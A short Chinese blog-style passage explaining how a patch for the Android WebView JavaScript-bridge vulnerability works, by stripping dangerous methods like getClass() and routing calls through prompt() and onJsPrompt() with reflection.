  • 修补这个漏洞,主要是通过java要被js调用的类生成js片段代码,去掉了getClass()之类的危险方法,然后通过load()加载到页面中.当js要调用java中的方法时,会调用js中的片段,执行prompt(message)方法(该方法原本是用于弹出提示框),执行后会回调webview的onJsPrompt()接口,返回对返回的带有类名和方法名的信息进行反射执行.

  • 整个执行过程图,可参考完整代码参考
原创粉丝点击